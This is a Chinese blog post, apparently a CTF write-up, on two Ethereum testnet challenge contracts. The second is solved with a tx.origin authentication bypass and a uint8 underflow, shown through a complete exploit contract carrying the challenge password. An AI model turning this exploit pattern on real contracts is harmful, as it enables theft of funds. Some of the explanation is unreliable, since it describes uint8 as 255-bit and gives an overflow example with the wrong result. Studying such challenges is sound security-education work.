合约安全实战两则_合约最安全的操作方法-程序员宅基地

技术标签: 区块链  安全  智能合约  信息安全  以太合约安全系列  

1. [智能合约? 那是啥]

//0x202E653dA93c2a06076FC95B0A07E39B6003C5f6 Ropsten

pragma solidity ^0.4.23;

/**
 * The CoinFlip contract does nothing...
 */
contract CoinFlip {
	uint256 lashHash;
	uint256 Factor = 20244007718664171871063861089;
    	mapping (address => uint) balances;
   	string flag;

	constructor (string _flag) public {
		flag = _flag;
	}
	
	function getBalance () public returns(uint) {
		return balances[tx.origin];
	}
	
	function flip(bool _guess) public returns (bool) {
		uint256 blockValue = uint256(block.blockhash(block.number - 1));
		lashHash = blockValue;
		uint256 ans = blockValue / Factor;
		bool side = ans == 1 ? true : false;

		if (side == _guess) {
			balances[tx.origin]++;
			return true;
		} else {
			balances[tx.origin] = 0;
			return false;
		}
	}

	function GetTheFlag() public view returns (string){
		return flag;  // You can get your flag here
	}
}

这个好像是某题改过来的。改成了签到题。 原题不能直接getflag。 现在这样直接调用GetTheFlag或者去浏览器上查看合约创建时对内存的写入就能知道flag是啥。

控制台调用

微信截图_20200805230056.png

浏览器查看

火柴截图20200806075237956.jpg

要是所有题都这么纯真该多好~


2. [现在来做运算吧]

pragma solidity ^0.4.23;

/**
 * The Bank contract does something...
 */
contract Bank {
	bytes32 private pass = "*******";
	mapping (address => bool) unlock;
	mapping (address => uint8) balances;
	event FLAG(string b64email, string slogan);
	
	function GetBalance(address _address) view returns(uint) {
		require(msg.sender == _address);
		return balances[_address];
	}

	function GetLockedState(address _address) view returns(bool) {
		require(msg.sender == _address);
		return unlock[msg.sender];
	}

	modifier NeedPass(bytes32 _pass) { 
		require (pass == _pass); 
		_;  
	}

	function Deposit(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
		require(_value > 5);
		balances[_to] += _value;
		if (balances[_to] == 5) {
			unlock[msg.sender] = true;
		}
	}
	
	function DrawBack(uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
		require(balances[msg.sender] >= _value);
		balances[msg.sender] -= _value;
	}

	function Transfer(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
		require(balances[msg.sender] - _value >= 0);
		balances[msg.sender] -= _value;
		balances[_to] += _value;
	}

	function GetTheFlag(string b64email) public{
		require(tx.origin != msg.sender);
		require(unlock[msg.sender] == true);
		emit FLAG(b64email, " You got the flag!!");
	}
}

当时这题看了蛮久,因为对合约安全整体还不够熟悉,不能将多个漏洞融合贯通。这里简单记录一下用到的两个bypass点。

  1. tx.origin的鉴权漏洞 tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。他和msg.send的不同就是tx.origin会遍历整个调用栈。下图可简单说明这种漏洞危害性。

火柴截图20200806080144579.jpg

类似于一个简单的中间人攻击。当用户call我们攻击者的攻击函数,而攻击者使用这个函数去调用正常合约时tx.origin == owner是成立的。也就绕过了鉴权。

  2.溢出和下溢 在solidity中,uint8代表255位的无符号整型,这里可以查看俺之前的日记:solidity类型。因为uint是无符号的整型,不能为负数。当+上超过这个数值的数时,就会出现溢出。例如254 + 2 = 1。而下溢则是0 - 1 = 255。

有了这些基础再来看题目就比较容易理解了。

require(tx.origin != msg.sender);
require(unlock[msg.sender] == true);
  1. 通过合约调用函数的方式,使得tx.origin还是我们的地址,而msg.sender是合约地址,不相等,pass。
  2. 唯一的unlock操作在Deposit函数中,需要存入大于5的数但最终值是5。这里有两种方法。如果没有对存入value限制,应该可以直接存入271,这是大于5而因为mapping中用uint8存储的value所以会溢出成为5。但是这里传入value也是uint8,所以溢出没戏,只能通过transfer函数使得value下溢。exp如下。
//author:肖越
pragma solidity >=0.4.23 <0.6.0;
import "./vul.sol";

contract exp{
    Bank bank = Bank(0x63266aaf6bdF3076a02D49eB73aE847cfd0A945c);
    function getflag() public payable {
        exp1();
        exp2();
        flag();
    }

    function exp1()public payable{
        bank.Transfer.value(msg.value)(0x11767c122Dd7B9F0F3e97a195f0CBA0a64c0C9c6,10,0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67); 
    }
    function exp2() {
        bank.Deposit.value(msg.value)(this,15,0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67);
    }
    function flag() {
        bank.GetTheFlag("lu ben wei nb!");
    }
}

火柴截图20200806083146217.jpg

(getflag函数不用传参,上图测试用的) 去看看transactionHash的详细内容

火柴截图20200806083352894.jpg

因为我测试过了,接收不到flag邮件,那么达到event就算成功了。 就致敬一波卢姥爷吧!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/xiaoyue2019/article/details/107832611

智能推荐

数据导入到Access特别慢的解决办法-程序员宅基地

文章浏览阅读1k次。数据导入到Access有人说用事务,我在开发中用了事务还是特别慢,可能是因为Access数据库不支持批量执行SQL语句的原因吧,虽然微软建议使用ADO.NET操作数据库,但对于Access来说效率太差了,可有时候又迫不得已只能用Access,那么我们只用换一种操作数据库的方式了,这次用到了ADODB,虽然ADODB已经过时了,但它对数据库的直接操作还是要比封装好的ADO.NET快很多。下面是代码。..._excel向access追加记录 很慢 vb.net

ffmpeg下载安装教程_ffmpeg官网下载-程序员宅基地

文章浏览阅读2.1k次。ffmpeg下载安装教程_ffmpeg官网下载

内核开发基础——'make menuconfig' requires the ncurses libraries-程序员宅基地

文章浏览阅读92次。root@zhangbin-desktop-ubuntu:/usr/src/linux-headers-2.6.32-27# make menuconfig HOSTCC scripts/basic/fixdep HOSTCC scripts/basic/docproc HOSTCC scripts/basic/hash HOSTCC scripts/kconfig..._make menuconfig' requires the ncurses libraries.

Emacs之ditaa与PlantUML与dot绘图环境配置-程序员宅基地

文章浏览阅读688次。本文介绍如何使用ditaa与PlantUML与dot进行绘制流程图。ditaa与PlantUML都依赖java环境,所以事先需要有Java环境(不管我们使用的是何种OS)。Java环境的设置很简单,如果本地没有Java环境,请到Oracle官网下载之,这里就省略了。而dot绘图语言需要安装graphviz软件。本文作者使用的Windows环境..._ditaa图 plantuml

Ajax框架,DWR介绍,应用,样例-程序员宅基地

文章浏览阅读93次。使用Ajax框架1. 简化JavaScript的开发难度2. 解决浏览器的兼容性问题3. 简化开发流程经常使用Ajax框架Prototype一个纯粹的JavaScript函数库,对Ajax提供良好支持jQuery1.很优秀的JavaScript库,对Ajax提供了良好的支持2.与Prototype设计思想不同的是在使用jQuery之后,开..._dwr ajax简单介绍

如何在vue中拖动改变侧边栏div的宽度-程序员宅基地

文章浏览阅读4k次。先贴html代码<template> <div class="box-wrap"> <div class="box" id="box"></div> <div class="drag-btn" id="dragBtn" @mousedown.stop.prevent="mouseDownLeft"></div>..._vue 侧边栏拉伸宽度

随便推点

java根据IP获取当前区域天气信息-程序员宅基地

文章浏览阅读476次。java根据IP获取当前区域天气信息大致思路是客户端发起请求,我们首先根据请求获取到外网IP,然后再根据外网IP获取到用户所在城市,最后根据城市获取到天气信息获取外网IP万网获取外网IP地址: http://www.net.cn/static/customercare/yourip.asp/** * @Description:获取客户端外网ip 此方法要接入互联网才行,内网不行 **/public static String getPublicIp() { try {

python实现通讯录功能_Python 实现简单的电话本功能-程序员宅基地

文章浏览阅读1k次。#!/usr/bin/python# -*- coding: utf-8 -*-import reclass PhoneBook(object):'''这是一个电话簿脚本。该脚本能够实现AddContact:添加联系人信息ShowContact:查找姓名显示联系人SaveContacts:存储联系人到 TXT 文档(存储格式——姓名:号码/号码)LoadContacts:从 txt 文档中载入联系..._python输入电话号码按列显示

mysql添加列和索引_添加列且甚索引-程序员宅基地

文章浏览阅读3.8k次。mysql添加列 alter table to_o2o_point_record add COLUMN channel VARCHAR(64) NULL DEFAULT NULL COMMENT ‘积分渠道’; alter table to_o2o_point_record add COLUMN channel VARCHAR(64) NULL DEFAULT NULL COMMENT ‘积分渠_添加列且甚索引

初识函数-----函数的定义及用法_程序设计函数的定义是-程序员宅基地

文章浏览阅读1.9k次,点赞4次,收藏9次。初识函数-----函数的定义及用法_程序设计函数的定义是

python在医学领域应用 课程_《Python程序设计与应用》在线课程使用说明-程序员宅基地

文章浏览阅读492次。《Python程序设计与应用》在线课程使用说明网页版链接 20200223 更新一、简介本课程内容包括Python基础语法与Python应用(数据处理、可视化等)。具体章节:Python基础、内置基本数据类型、程序结构、函数、异常处理、集合与字典类型、文件操作、Python应用(科学计算numpy、pandas、matplotlib、seaborn、网络信息安全基础)。主要资源:超星MOOC平台:..._python语言程序设计与医学实践

c/c++ assert的头文件_c++ assert头文件-程序员宅基地

文章浏览阅读2.5k次。#include <iostream>#include <assert.h>using namespace std;int writestr(const char *p){ assert(0!=p);//如果p等于0,则报错误 cout<<p<<endl;}int _tmain(int argc, _TCHAR* argv[]){ char *str="hello"; writestr(str); ..._c++ assert头文件